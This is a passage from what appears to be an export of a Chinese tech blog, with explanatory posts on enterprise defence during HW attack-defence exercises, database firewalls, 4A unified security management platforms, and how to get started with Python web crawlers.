这些措施旨在通过实战模拟，全面检验和提升网络系统的安全防护能力，确保在面对真实网络攻击时能够迅速、有效地进行应对。同时，护网行动还促进了网络安全团队的协作和沟通，提升了整体的安全意识和应对能力。\n需要注意的是，攻防演练过程中需要确保参与者的安全和免受损害，避免演练本身对网络系统造成不必要的风险。因此，在演练过程中需要严格遵守安全规定和操作流程，确保演练的顺利进行和目标的达成。\n三、攻击方一般的攻击流程和方法 HW攻防演练的安全评价关注点已经从安全防护投入过渡到讲究实战效果，拒绝纸上谈兵，直接真枪实战。 攻击方一般目标明确、步骤清晰。\n目标明确： 攻击者只攻击得分项，和必要路径（外网入口，内网立足点），对这些目标采取高等级手段，会隐蔽操作；对非必要路径顺路控制下来的服务器，并不怕被发现，用起来比较随意，甚至主动制造噪音，干扰防守方。\n步骤清晰： 信息收集-控制入口-横向移动-维持权限-攻击目标系统。\n攻击流程： 攻击手法： 四、企业HW保障方案 企业护网安全保障是一个多层次、多方面的综合性任务，涉及技术、管理、人员培训等多个环节。以下是一些关键措施，可以帮助企业加强护网安全保障： 1.建意识 护网安全意识培训是一项至关重要的工作，它旨在提升个人和组织对网络安全的认识和应对能力，从而保护个人隐私、企业数据以及整个网络环境的安全。 首先，培训应涵盖网络安全的基本概念、原则和特点，包括密码安全、网络钓鱼、恶意软件等。这有助于人们理解网络安全的重要性，以及如何在日常生活中识别和防范网络威胁。 其次，培训内容应根据不同岗位的需求进行个性化设计。例如，对于IT人员，可以强调网络漏洞扫描和安全配置等专业技能；而对于普通员工，则应重点强调密码安全、社交工程攻击的防范等基础知识。 此外，培训内容还需与最新的网络威胁和漏洞保持同步，确保培训的实用性和时效性。这有助于人们了解最新的网络攻击手法和防范措施，从而更有效地应对网络威胁。 企业需要向员工提供网络安全意识培训，使他们了解各种网络威胁和攻击方式，并知道如何避免和应对这些威胁。包括护网技能的培训，通过模拟黑客攻击等场景，让员工在实际操作中学习和掌握网络安全技能。\n2.摸家底 护网资产梳理是缩小攻击面的关键步骤，有助于企业更好地了解自身的网络安全状况，从而制定更有效的安全防护策略。 首先，明确资产梳理的目标和范围。这包括确定需要梳理的资产类型，如硬件资产、软件资产、数据资产等，以及梳理的深度和广度。通过明确目标和范围，可以确保资产梳理工作的针对性和有效性。梳理互联网类业务、暴露面、中间件、业务管理后台、供应链、 WIFI、VPN、安全意识、终端等边界突破点，实施清查和管控，缩小攻击面。 其次，收集资产信息并建立清单。通过收集资产的详细信息，如IP地址、设备名称、操作系统、数据库类型等，可以建立全面的资产清单。这有助于企业对自身的资产进行清晰的了解，并为后续的安全评估和风险分析提供基础数据。\n3.固城池 护网行动中的安全检测和整改加固是确保企业网络安全的重要环节。通过安全检测，可以发现潜在的安全隐患和漏洞，而整改加固则是针对这些问题采取具体的措施，以提升网络安全防护能力。 在安全检测方面，可以采取多种手段，如渗透测试、漏洞扫描、代码审查等。渗透测试通过模拟黑客的攻击方式来评估系统的安全性，发现潜在的漏洞和薄弱点。漏洞扫描则是使用自动化工具扫描网络和系统，识别存在的安全漏洞，并提供修补建议。代码审查则是对软件代码进行详细的审核和分析，以发现可能的安全漏洞。 在进行安全检测后，需要根据检测结果制定整改加固方案。整改加固措施可能包括强化设备访问控制、安装防火墙和入侵检测系统、建立虚拟专用网络（VPN）、限制网络服务和端口等。此外，加强用户身份认证也是关键的一环，包括强化密码策略、使用多因素身份认证、建立访问权限管理机制等。\n4.配神器 配置相应的有效防护技防手段，“护网神器”通常指的是一系列网络安全产品和解决方案，它们被设计用来保护企业的网络系统免受各种网络攻击的威胁。这些神器能够检测和防御各类网络攻击，包括但不限于病毒、木马、黑客攻击、钓鱼网站等。它们通过采用先进的技术手段如：动态防护、下一代防火墙、态势感知平台、SOAR等。进行实时监控和预警、智能防御和攻击溯源、高效的自动处置等。 实时监控和预警：通过部署流量探针、EDR、态势感知平台等建立监控手段实时监控网络流量和用户行为，一旦检测到异常或可疑活动，立即发出预警，提醒管理员进行处置。 智能防御和攻击溯源：通过部署下一代防火墙、动态防护设备等平台建立智能防御功能，能够自动识别和阻断攻击行为。同时，它还能对攻击进行溯源，帮助管理员定位攻击源头，采取相应的措施进行防范。 高效快速处置：通过部署SOAR，能够针对实时监控发现的安全告警事件，通过实战化的剧本来联动人员、流程、安全设备进行快速的研判和阻断。\n5.增值守 在护网行动中，增加监控值守是一项重要的举措，7*24小时监控值守可以帮助企业实时了解网络系统的运行状态和安全状况。通过对网络流量、系统日志、用户行为等进行实时监控，可以及时发现异常和可疑活动，从而迅速采取措施进行处置。 为了增加监控值守的有效性，企业可以采取以下措施：\n建立专门的监控团队，负责网络系统的实时监控和安全事件的处置。 配置先进的监控设备和软件，确保能够全面、准确地收集和分析网络数据。 制定完善的监控流程和规范，确保监控工作的有序进行。 加强监控人员的培训和教育，提高其专业技能和应对能力。 博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-04-07-%E4%BB%80%E4%B9%88%E6%98%AFhw%E4%BC%81%E4%B8%9A%E5%A6%82%E4%BD%95%E8%BF%9B%E8%A1%8Chw%E4%BF%9D%E9%9A%9C/","summary":"\u003ch2 id=\"一什么是hw\"\u003e一、什么是HW\u003c/h2\u003e\n\u003cp\u003e网络安全形势近年出现新变化，网络安全态势变得越来越复杂，黑客攻击入侵、勒索病毒等网络安全事件愈演愈烈，严重威胁到我国的网络空间安全。同时，国内不少关键信息基础设施的建设管理单位安全意识不够、安全投入不足，面临网络安全保护的巨大挑战，让国家关键信息基础设施成为网络攻击的重灾区。\u003c/p\u003e","title":"什么是HW，企业如何进行HW保障？"},{"content":"随着信息技术的快速发展，数据库已成为企业信息化建设的核心组成部分，存储着大量的关键业务数据和敏感信息。与此同时，数据库也面临着来自内部和外部的各种安全威胁和攻击，如SQL注入、未授权访问、数据泄露等。为了保护数据库的安全性和完整性，传统的安全措施如防火墙、入侵检测系统等在一定程度上起到了作用。然而，这些措施往往只关注于网络层面的安全防护，而缺乏对数据库应用层面的深入保护。因此，针对数据库的安全防护需求，数据库防火墙应运而生。\n一、什么是数据库防火墙 数据库防火墙是一种基于数据库协议分析与控制技术的安全防护系统，它串联部署在数据库服务器之前，解决数据库应用侧和运维侧两方面的问题。通过实时监控和分析数据库的访问行为，数据库防火墙能够识别并阻断恶意攻击和未经授权的访问，保护数据库的敏感数据和业务逻辑不被篡改和泄露。它可以有效防护数据库免受各种安全威胁和攻击，如SQL注入攻击等。通过主动防御机制，确保数据库的安全性和完整性，防止数据泄露和非法访问等风险。\n二、数据库防火墙的主要功能 数据库防火墙具备多种功能，旨在保护数据库免受各种潜在的安全威胁和攻击。以下是数据库防火墙的主要功能：\n访问控制：数据库防火墙能够识别并控制对数据库的访问行为。通过设定精细化的访问控制策略，防火墙可以限制只有经过授权的用户或应用程序才能访问数据库，从而防止未经授权的访问和数据泄露。 SQL注入防护：数据库防火墙具备强大的SQL注入防护能力。通过对输入数据进行验证和过滤，防火墙能够识别和阻止包含恶意SQL代码的输入，从而防止攻击者利用SQL注入漏洞对数据库进行攻击。 威胁检测和告警：数据库防火墙能够实时监控数据库的访问行为，并检测任何可疑或异常的活动。一旦发现潜在的威胁或攻击行为，防火墙会立即触发告警，通知管理员采取相应的安全措施，从而及时应对安全风险。 数据泄露防护：数据库防火墙可以监控和审计数据库的敏感数据访问行为，防止敏感数据被非法获取或滥用。通过设定敏感数据保护策略，防火墙能够限制对敏感数据的访问权限，并记录相关访问行为，确保数据的安全性和隐私性。 虚拟补丁功能：对于已知的数据库漏洞，数据库防火墙能够提供虚拟补丁功能。即使在实际的物理补丁发布之前，防火墙也可以通过配置规则来模拟补丁的效果，从而及时修补漏洞，提高数据库的安全性。 审计和日志记录：数据库防火墙能够记录所有的数据库访问行为和事件，包括正常的访问请求、异常活动以及安全事件等。这些日志记录可以用于后续的审计和安全分析，帮助管理员识别潜在的安全风险、追踪攻击来源，并为安全事件调查提供证据。 数据库防火墙具备访问控制、SQL注入防护、威胁检测和告警、数据泄露防护、虚拟补丁功能以及审计和日志记录等多种功能，能够全面提升数据库的安全性，保护数据库免受各种安全威胁和攻击。\n三、数据库防火墙的工作原理 数据库防火墙的工作原理主要是基于一系列复杂的技术和策略，旨在确保数据库的安全性和完整性。其主要工作原理：\n流量监控与分析：数据库防火墙首先会对进入数据库的流量进行实时监控和分析。这包括识别SQL语句，检查它们的来源、目的地以及内容。防火墙会分析这些SQL语句，以判断它们是否可能是恶意攻击的一部分。 访问控制：基于流量分析结果，防火墙会实施访问控制策略。这意味着它会根据预设的规则来决定是否允许某个特定的用户或应用程序访问数据库。只有符合特定条件的请求才会被允许通过。 恶意代码与攻击检测：防火墙会检测SQL流量中是否存在恶意代码或攻击模式。这包括常见的SQL注入攻击、缓冲区溢出攻击等。一旦检测到这些恶意行为，防火墙会立即采取措施，如阻断攻击者的访问或触发告警。 虚拟补丁功能：针对已知的数据库漏洞，防火墙提供了虚拟补丁功能。这意味着即使在实际的物理补丁发布之前，防火墙也可以通过配置规则来模拟补丁的效果，从而保护数据库免受利用这些漏洞的攻击。 审计与日志记录：防火墙会记录所有与数据库相关的访问行为和事件。这些日志记录包括成功和失败的访问尝试、异常行为、告警触发等。这些日志对于后续的审计和安全分析至关重要，可以帮助管理员了解数据库的安全状况，及时发现潜在的安全风险。 实时告警与响应：一旦防火墙检测到潜在的安全威胁或攻击行为，它会立即触发告警通知管理员。管理员可以根据告警信息采取相应的响应措施，如调查攻击来源、封锁攻击者的IP地址等。 总的来说，数据库防火墙通过实时监控、分析、控制和审计数据库的访问行为，为数据库提供了一道坚固的安全屏障。它结合了多种安全技术和策略，确保数据库免受各种恶意攻击和未经授权的访问。\n四、数据库防火墙如何防护数据库免受SQL注入攻击 数据库防火墙通过一系列的技术和策略，可以有效地防护数据库免受SQL注入攻击。以下是数据库防火墙如何防护数据库免受SQL注入攻击的主要方法：\n访问行为控制：数据库防火墙能够识别并控制对数据库的访问行为。通过设定规则，防火墙可以限制只有经过授权的用户或应用程序才能访问数据库，从而阻止潜在的恶意用户或应用程序尝试进行SQL注入攻击。 输入验证和过滤：数据库防火墙能够对输入到数据库中的数据进行验证和过滤，防止恶意用户通过输入恶意的SQL代码来实施注入攻击。防火墙会检查输入数据的有效性，过滤掉可能包含恶意SQL语句的输入，确保只有合法的数据才能被传递给数据库。 威胁检测和响应：数据库防火墙具备威胁检测和响应能力，能够实时监控数据库的访问行为，并检测任何可疑或异常的活动。一旦发现SQL注入攻击的迹象，防火墙会立即采取相应措施，如阻断攻击者的访问、记录攻击行为、触发警报等，从而防止攻击者进一步利用SQL注入漏洞对数据库进行破坏。 虚拟补丁功能：对于已知的数据库漏洞，数据库防火墙提供虚拟补丁功能。即使在实际的物理补丁发布之前，防火墙也可以通过配置规则来模拟补丁的效果，从而防止攻击者利用这些漏洞进行SQL注入攻击。 审计和日志记录：数据库防火墙还能够记录所有的数据库访问行为和事件，包括可能的SQL注入攻击尝试。这些日志记录可以用于后续的审计和安全分析，帮助管理员识别潜在的安全风险并采取相应的措施。 数据库防火墙通过访问行为控制、输入验证和过滤、威胁检测和响应、虚拟补丁功能以及审计和日志记录等多种手段，可以有效地防护数据库免受SQL注入攻击。\n五、数据库防火墙的部署方式 数据库防火墙技术是针对关系型数据库保护需求应运而生的一种数据库安全主动防御技术。它部署于应用服务器和数据库之间，用户必须通过该系统才能对数据库进行访问或管理。这种主动防御技术能够主动监测和防护数据库的安全。\n数据库防火墙部署图\r数据库防火墙支持多种部署模式，包括透明网桥模式、代理接入模式、旁路部署模式以及虚拟化部署等，以适应不同的网络环境和安全需求。\n六、数据库防火墙与网络防火墙的关系与区别 数据库防火墙与网络防火墙在网络安全领域各自扮演着重要的角色，但它们的目标、部署位置、防护对象以及功能等方面存在显著的区别。\n首先，从目标和防护对象来看，网络防火墙主要关注的是网络层面的安全防护，防止未经授权的访问和恶意攻击从外部网络进入内部网络。它部署在网络边界，对所有流入流出的网络通信进行扫描和过滤，以阻止潜在的攻击。而数据库防火墙则更专注于数据库层面的安全防护，它部署在数据库服务器前端，对SQL流量进行实时监控和分析，以检测和防止对数据库的恶意攻击和未经授权的访问。数据库防火墙的目标是保护数据库的完整性和安全性，防止数据泄露、篡改等风险。\n其次，在功能方面，网络防火墙主要通过过滤网络通信、关闭不使用的端口、禁止特定端口的流出通信、封锁木马以及禁止来自特定站点的访问等方式来加强网络安全。而数据库防火墙则具备更细粒度的控制功能，它能够对数据库流量进行详细的分析，并根据预设的规则对SQL语句进行检测与过滤，避免SQL注入攻击等威胁。此外，数据库防火墙还提供安全性/合规性支持，进行完整的安全审计跟踪，并支持多种合规性标准。\n此外，数据库防火墙还具有数据脱敏功能，可以对敏感数据进行处理，避免直接泄露。而网络防火墙则不具备这样的功能。\n由此可以看出，网络防火墙和数据库防火墙在网络安全领域各自发挥着不可替代的作用。网络防火墙是网络安全的第一道防线，而数据库防火墙则是对数据库安全进行深度防护的关键手段。在实际应用中，两者可以相互配合，共同构建一个更加安全、可靠的网络环境。\n七、数据库防火墙的应用场景 数据库防火墙的应用场景相当广泛，主要涉及到数据库的安全防护和风险管理。关键的应用场景包括：\n数据库入侵防御：数据库防火墙部署在应用服务器和数据库服务器之间，防止外部黑客通过SQL注入、未授权访问等手段入侵数据库。它能够对进入数据库的流量进行实时监控和分析，识别和阻断恶意攻击，保护数据库的完整性和安全性。 数据库运维管控：数据库防火墙可以作为内部数据库运维的接口，对运维人员的操作进行细粒度的权限控制。通过设定精确的权限策略，防止运维人员执行高危操作、敏感数据泄漏或越权访问，降低因误操作引发的安全风险。 内外网隔离：数据库防火墙可以作为唯一的内网接入通道，替代传统的防火墙、IDS和IPS产品，实现安全的数据库通讯。它能够有效隔离内外网，阻止未经授权的访问和恶意攻击，确保数据在传输过程中的安全性。 合规性要求满足：数据库防火墙在多个方面，如漏洞和风险管理、资产管理、网络和系统安全管理、访问控制、个人信息保护等，都符合公安部等保和各行业规范的安全合规要求。它能够帮助企业发现违规的数据库操作，如批量导出数据引发的数据泄露等，并提供有效的风险安全防护。 除此之外，数据库防火墙还可以应用于非授权人员通过应用系统非法登录数据库的场景，通过对其操作进行监控和阻断，防止敏感数据的篡改或盗取。数据库防火墙在保护数据库安全、防止数据泄露和满足合规性要求等方面发挥着重要作用，是企业信息化建设中不可或缺的安全防护手段。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-04-03-%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8%E4%B9%8B%E8%AE%A4%E8%AF%86%E6%95%B0%E6%8D%AE%E5%BA%93%E9%98%B2%E7%81%AB%E5%A2%99/","summary":"\u003cp\u003e随着信息技术的快速发展，数据库已成为企业信息化建设的核心组成部分，存储着大量的关键业务数据和敏感信息。与此同时，数据库也面临着来自内部和外部的各种安全威胁和攻击，如SQL注入、未授权访问、数据泄露等。为了保护数据库的安全性和完整性，传统的安全措施如防火墙、入侵检测系统等在一定程度上起到了作用。然而，这些措施往往只关注于网络层面的安全防护，而缺乏对数据库应用层面的深入保护。因此，针对数据库的安全防护需求，数据库防火墙应运而生。\u003c/p\u003e","title":"数据安全之认识数据库防火墙"},{"content":"随着业务网的发展，网络规模迅速扩大，安全问题不断出现。传统的账号口令管理、访问控制及审计措施已无法满足企业业务发展的需求。过去每个业务网系统常常各自维护一套用户信息数据，这种方式使得管理变得复杂且难以统一。同时，孤立地以日志形式审计操作者在系统内的操作行为，也使得审计过程变得繁琐和低效。\n因此，4A统一安全管理平台解决方案应运而生。这个解决方案将不同应用、业务过程、后端系统、服务和信息、知识等内容集成到一个软件系统平台内，从而实现了账号管理、认证管理、授权管理和安全审计的集中化、统一化管理。4A系统的诞生是对企业内部安全管理需求的直接回应，是为了解决传统安全管理方式中的不足，提高企业网络安全性、降低管理成本并强化系统安全性和政策符合性。\n一、什么是4A统一安全管理平台 4A统一安全管理平台是一个以身份为中心，实现帐号、认证、授权和审计统一管控的安全访问平台。它可为企业IT系统提供综合安全防护，其核心目的是提高系统的安全性、管理效率和用户访问的便捷性。\n其核心包括账号（Account）管理、认证（Authentication）管理、授权（Authorization）管理和安全审计（Audit）。这一系统为企业IT系统提供综合安全防护，通过集中的帐号管理、身份认证、授权管理和安全审计等功能，为企业提供强健的、基于统一策略的解决方案，解决企业内控等问题，降低管理成本，提高系统安全性和政策符合性。\n二、4A统一安全管理平台的主要功能 4A统一安全管理平台其核心包括账号（Account）管理、认证（Authentication）管理、授权（Authorization）管理和安全审计（Audit）。具体而言，该平台实现了以下功能：\n帐号管理：提供统一的帐号管理功能，支持主流的操作系统、网络设备和应用系统。这包括帐号的全生命周期管理，如创建、删除及同步等，以及帐号密码策略、密码强度、生存周期的设定。 认证管理：根据用户应用的实际需要，提供不同强度的认证方式，如静态口令、双因子认证（一次性口令、数字证书、动态口令）等，并且能够集成现有其他新型认证方式，如生物特征等。此外，还可以实现用户认证的统一管理，并提供统一的认证门户，实现企业信息资源访问的单点登录。 授权管理：集中管理系统资源和应用资源的权限，实现权限的统一展现、收集、变更和回收。 审计管理：全面记录用户的登录行为和操作行为，基于场景的异常行为分析，实现对大量日志的有效审计。 此外，4A统一安全管理平台还建立了“自然人账号——资源——资源账号”的对应关系，实现自然人对资源的统一授权。同时，对授权人员的运维操作进行记录、分析、展现，加强了内部业务操作行为监管，避免了核心资产在运维管理环节中的损失，保障了业务系统的正常运营。\n三、4A统一安全管理平台的工作原理 4A系统的工作原理主要围绕账号（Account）、认证（Authentication）、授权（Authorization）和审计（Audit）四个核心组件展开，为企业IT系统提供统一的安全管理。 首先，4A系统负责账号的全生命周期管理，包括账号的创建、修改、删除等，以及密码策略的制定和执行。这一环节确保了用户账号的规范性和安全性。 其次，在认证阶段，4A系统通过采用多种认证方式（如静态口令、动态令牌、生物特征识别等），对用户身份进行验证，确保只有合法的用户才能访问系统。 授权环节是4A系统的核心功能之一。它根据用户的角色和权限，为用户分配相应的访问和操作权限。通过细粒度的权限管理，4A系统能够实现对关键资源和敏感数据的保护，防止未经授权的访问和操作。 最后，在审计环节，4A系统记录并分析用户的登录、操作等行为，为安全事件溯源和责任追究提供有力支持。同时，通过对审计数据的分析，企业可以及时发现潜在的安全风险，并采取相应的措施进行防范。 此外，4A系统通常还具备与其他安全设备和系统的集成能力，如与防火墙、入侵检测系统（IDS）、安全事件管理系统（SIEM）等进行联动，共同构建企业网络安全防线。 4A系统工作原理通过账号管理、身份认证、授权控制和安全审计等功能，实现了对企业IT系统的统一安全管理，提升了企业的网络安全防护能力。\n四、4A系统与堡垒机的区别与关系 4A系统和堡垒机在网络安全领域都扮演着重要的角色，但它们各自具有不同的功能和定位。\n4A系统是一个统一的安全管理平台解决方案，其核心组件包括账号（Account）管理、认证（Authentication）管理、授权（Authorization）管理和安全审计（Audit）。它旨在为企业IT系统提供综合安全防护，通过集中的帐号管理、身份认证、授权管理和安全审计等功能，解决企业内控等问题，降低管理成本，提高系统安全性和政策符合性。4A系统提供了一种集中统一的管理方式，侧重于身份管理，确保只有经过授权的用户才能访问系统资源。\n堡垒机，也被称为“跳板机”或“跳板服务器”，是一种网络安全设备。其主要功能是管理和监控访问计算机网络的用户，尤其是那些需要对关键系统进行管理或维护的人员。堡垒机具有访问控制、会话监控、远程管理和权限管理等功能，能够防止未经授权的访问和潜在的网络入侵，确保用户只能访问其工作需要的资源。堡垒机起源于旁路审计产品，通过接管终端对资源的访问，在审计的同时还能对操作命令进行细粒度管控，提供了资源运维统一入口，其本质是提供资源运维统一入口，侧重于运维和审计。\n两者在功能上存在明显区别，但又具有一定的关联性。从核心能力来看，4A对外输出的是身份和访问管理能力，堡垒机对外输出的是运维管控能力。在企业的网络安全架构中，4A系统主要负责对身份和访问进行统一管理，而堡垒机则作为能力组件，接收并执行4A系统制定的策略。两者协同工作，共同提升企业的网络安全水平。\n五、如何在4A平台上实施帐号和认证的一体化管理 在4A平台上实施帐号和认证的一体化管理，通常涉及以下几个关键步骤：\n帐号整合与标准化：首先，需要将所有分散在各个系统和应用中的帐号整合到4A平台中，确保所有帐号信息的集中管理。同时，制定统一的帐号命名规范、密码策略等，确保帐号信息的一致性和安全性。 单点登录（SSO）实施：为了实现帐号和认证的一体化管理，单点登录是不可或缺的功能。通过配置单点登录系统，用户可以只需一次登录即可访问多个系统和应用，无需在每个系统中分别输入帐号和密码。这大大提高了用户的使用便捷性，同时也降低了密码泄露的风险。 多因素认证集成：为了提高认证的安全性和可靠性，可以集成多因素认证方式。除了传统的用户名和密码认证外，还可以引入指纹、面部识别、手机验证码等多种认证方式。这样，即使在密码泄露的情况下，攻击者也难以通过其他认证方式访问系统。 权限管理与授权：在4A平台上，需要对用户的权限进行精细化的管理。根据用户的角色和职责，为其分配相应的访问权限和操作权限。同时，建立授权机制，确保用户在访问敏感数据或执行关键操作时，需要经过适当的授权和审批流程。 审计与日志记录：为了确保帐号和认证活动的可追溯性，4A平台应提供审计和日志记录功能。记录用户的登录信息、操作记录等，以便在发生安全事件时能够及时发现并追溯。 定期审查与更新：帐号和认证策略需要定期审查和更新，以适应业务发展和安全威胁的变化。定期检查帐号的使用情况、权限分配是否合理、认证方式是否足够安全等，并根据需要进行调整和优化。 通过以上步骤，可以在4A平台上实现帐号和认证的一体化管理，提高系统的安全性和用户体验。同时，这也为企业提供了一个集中、统一的安全管理解决方案，降低了管理成本并简化了管理流程。\n六、4A系统运营管理建议 建设统一的4A系统，实现运营维护入口统一，企业的网络设备、系统平台、主机和数据库等都应全部纳入到4A系统管理，4A系统应作为运营维护管控手段嵌入到故障处置、割接、升级等流程。应建立绕行4A系统行为监测能力，杜绝4A绕行行为。 4A账号统一管理。一个自然人仅允许分配一个主帐 号（“主帐号”指用户在 4A 系统中的唯一 ID），主帐号的用户信 息和状态应与人力系统同步；一个自然人允许拥有多个从帐号 （“从帐号”指网络设备、系统平台、主机和数据库等帐号）， 但同一网络设备或系统平台只能有唯一从帐号。 4A 系统认证管理。4A 系统应采取零信任接入认证、 双因素认证、活体实人认证等手段确保帐号登录和认证安全， 须启用 3 次认证失败自动锁定、长时间无操作自动下线等安全 配置。 4A 系统授权管理。4A系统的权限分配遵循“最小化 原则”，应按指令级授权，有效期不超过 1 年，按系统设置帐号和权限管理员，对帐号和权限的申请、变更和回收等进行管理。当人员离岗或离职时，应在 24 小时内完成帐号的关停和权限的清理。 4A 系统审计。4A 系统维护部门应建立 5W1H 自动化审计能力，实现自动告警能力。安全运营维护单位应通过 4A 系统开展高风险操作、数据下载等审计，建立告警、处置和复核机制，及时发现违规操作问题。4A 系统日志应保存 1 年以上。 博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-03-28-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E4%B9%8B%E8%AE%A4%E8%AF%864a%E7%BB%9F%E4%B8%80%E5%AE%89%E5%85%A8%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0/","summary":"\u003cp\u003e随着业务网的发展，网络规模迅速扩大，安全问题不断出现。传统的账号口令管理、访问控制及审计措施已无法满足企业业务发展的需求。过去每个业务网系统常常各自维护一套用户信息数据，这种方式使得管理变得复杂且难以统一。同时，孤立地以日志形式审计操作者在系统内的操作行为，也使得审计过程变得繁琐和低效。\u003c/p\u003e","title":"网络安全产品之认识4A统一安全管理平台"},{"content":"写了几篇网络爬虫的博文后，有网友留言问Python爬虫如何入门？今天就来了解一下什么是爬虫，如何快速的上手Python爬虫。\n一、什么是网络爬虫 网络爬虫，英文名称为Web Crawler或Spider，是一种通过程序在互联网上自动获取信息的技术。它根据指定的规则，从互联网上下载网页、图片、视频等内容，并抽取其中的有用信息进行处理。简单来说，网络爬虫可以看作是在互联网上自动“爬行”的程序，它们从某个或某些初始网页开始，读取网页内容，找到其中的链接地址，然后通过这些链接地址寻找下一个网页，这样不断循环，直到按照某种策略抓取完所需的网页为止。\n网络爬虫的应用场景非常广泛，包括搜索引擎中的网页抓取、数据挖掘、网站监测等领域。例如，搜索引擎通过爬虫技术抓取互联网上的网页信息，建立索引数据库，以便用户进行关键词搜索时能够快速找到相关信息。同时，网络爬虫也需要注意遵守相关法律法规和网站的使用协议，避免对网站造成不必要的负担或侵犯用户隐私。\n二、网络爬虫的工作原理 网络爬虫（Web Crawler）是一种自动化程序，用于在互联网上按照一定规则和算法自动获取网页信息。网络爬虫通过访问网站的URL，并根据预设的规则抓取页面内容，然后将抓取到的数据保存、分析或用于其他用途。 网络爬虫的主要工作步骤包括以下几个方面： 确定爬取目标\u0026ndash;\u0026gt;抓取网页内容\u0026ndash;\u0026gt;解析网页\u0026ndash;\u0026gt;处理数据\n确定爬取目标：网络爬虫会从一个或多个起始URL开始，然后根据链接关系逐步发现更多的网页。它可以通过遍历网页的超链接、Sitemap、RSS订阅等方式来发现新的网页。 抓取网页内容：一旦网络爬虫发现了目标网页，它会向服务器发送HTTP请求，获取网页的HTML代码或其他相关资源（如图片、视频等）。获取到的网页内容将会被保存到本地或内存中。 解析网页：网络爬虫通常会对抓取到的网页进行解析，提取其中的结构化数据，例如标题、正文、链接、图片等内容。这通常需要使用HTML解析器来处理网页内容。 处理数据：抓取到的数据可以被进一步处理、分析、过滤、清洗或存储。这些数据可以用于搜索引擎的索引、数据分析、信息检索、机器学习等各种用途。 三、学习爬虫需要哪些前置知识 了解到网络爬虫的工作原理后，就知道了爬虫需要哪些前置知识了。\n需要具备基础的网络基础知识 需要理解HTTP请求与响应的基本原理，包括请求方法（GET、POST等）、请求头、请求体以及响应状态码等。 需要了解熟悉HTML和CSS基础知识 需要了解HTML的基本结构和常用标签，如标题、段落、链接、图片等 需要熟悉CSS选择器的基本语法和用法，以便在解析网页时能够定位并提取所需内容。 最好需要熟悉正则表达式 学习正则表达式的语法和用法，以便在爬虫中用于匹配和提取特定格式的文本信息。 了解基本的数据库知识 因为最终爬取的数据需要存储到数据库中，那么需要了解一些基本的数据库知识如常用的关系型数据库mysql或非关系型数据库MongoDB 四、Python实现网络爬虫有什么优势 要实现网络爬虫需要编写代码来实现，Python实现网络爬虫具有许多优势，使其成为首选的爬虫开发语言之一。\n易学易用：Python具有简洁、清晰的语法，易于学习和上手。它的语法类似于伪代码，使得编写爬虫代码变得简单直观。 丰富的爬虫库和工具：Python拥有丰富的第三方爬虫库和工具，如Beautiful Soup、Scrapy、Requests、Selenium等，这些库提供了丰富的功能和灵活的选项，可以满足不同场景下的爬虫需求。 强大的数据处理能力：Python在数据处理和分析方面有着强大的支持，如Pandas、NumPy、Matplotlib等库，可以轻松地对爬取到的数据进行处理、分析和可视化。 活跃的社区支持：Python拥有庞大而活跃的社区，你可以轻松地找到大量的教程、文档、示例代码以及问答社区，解决遇到的问题并不断提升技能。 跨平台性：Python是一种跨平台的语言，可以在Windows、Linux、Mac等操作系统上运行，因此可以轻松地部署和运行爬虫程序。 广泛的应用领域：Python不仅在网络爬虫领域广泛应用，还在数据科学、人工智能、Web开发等领域有着广泛的应用。因此学习Python不仅有助于网络爬虫开发，还能为未来的职业发展打下良好基础。 Python实现网络爬虫具有易学易用、丰富的库和工具、强大的数据处理能力、活跃的社区支持、跨平台性和广泛的应用领域等优势，使其成为开发网络爬虫的首选语言之一。\n五、如何快速入门Python爬虫 以下是一些建议的步骤和资源，帮助开始Python爬虫的学习之旅：\n学习Python基础： ● 如果你还没有学习Python，首先需要掌握Python的基础知识，包括变量、数据类型、控制流、函数、模块等。 ● 推荐资源：官方Python教程、菜鸟教程、W3Schools等。 了解网络基础知识： ● 学习HTTP协议、URL结构、请求方法（GET、POST等）和响应状态码等网络基础知识。 ● 推荐资源：W3Schools等。 使用requests库发送HTTP请求： ● requests是Python中非常流行的HTTP库，用于发送HTTP请求。requests 库提供了便捷的方式来发送HTTP请求，处理响应内容，包括cookies、headers等细节。 ● 安装：pip install requests ● 学习如何发送GET和POST请求，处理响应，以及设置请求头等。 解析网页内容： ● 学习使用BeautifulSoup或lxml等库来解析HTML内容，提取所需数据。BeautifulSoup, lxml 等库提供了强大的网页解析功能，能够轻松解析HTML和XML文档结构。 ● 安装：pip install beautifulsoup4 和 pip install lxml ● 掌握选择器语法，如CSS选择器和XPath。 ● 学习基础的正则表达式。参考《Python与正则表达式》 处理JavaScript动态加载的内容： ● 有些网页内容是通过JavaScript动态加载的，直接请求HTML可能无法获取到完整内容。 ● 学习使用Selenium库来模拟浏览器行为，获取动态加载的内容。Selenium 可以用来驱动真实的浏览器进行动态页面的爬取和交互。 ● 安装：pip install selenium，并下载对应的浏览器驱动。参考《selenium安装与配置》 使用代理和应对反爬虫机制： ● 学习如何使用代理IP来避免被封禁，以及如何应对常见的反爬虫机制，如验证码、用户登录等。 ● 学习和使用mitmproxy代理工具来抓包进行数据爬取。参考《mitmproxy安装与配置》 存储和处理数据： ● 学习将数据存储到文件（如CSV、JSON等）或数据库（如MySQL、MongoDB等）中。 ● 掌握使用Python进行数据清洗和处理的技巧。pandas是做数据清洗、处理、分析的利器，可以参考《pandas快速入门指南》 高效与可扩展： ● 学习Scrapy框架，Scrapy框架支持分布式爬虫，允许大规模数据采集。可以参考《Scrapy爬虫框架实战》 实践项目： ● 通过实践项目来巩固所学知识，例如爬取某个网站的新闻、商品信息等。 可以参考《Python爬虫获取电子书资源实战》、《Selenium实战-模拟登录淘宝并爬取商品信息》、《mitmproxy实战-通过mitmdump爬取京东金榜排行数据》、《Python爬取京东商品评价信息实战》、《Python爬取淘宝商品评价信息实战》 学习资源和社区： ● 推荐资源：官方文档、博客文章、GitHub上的开源项目等。 ● 加入Python和爬虫相关的社区和论坛，与其他开发者交流学习经验。 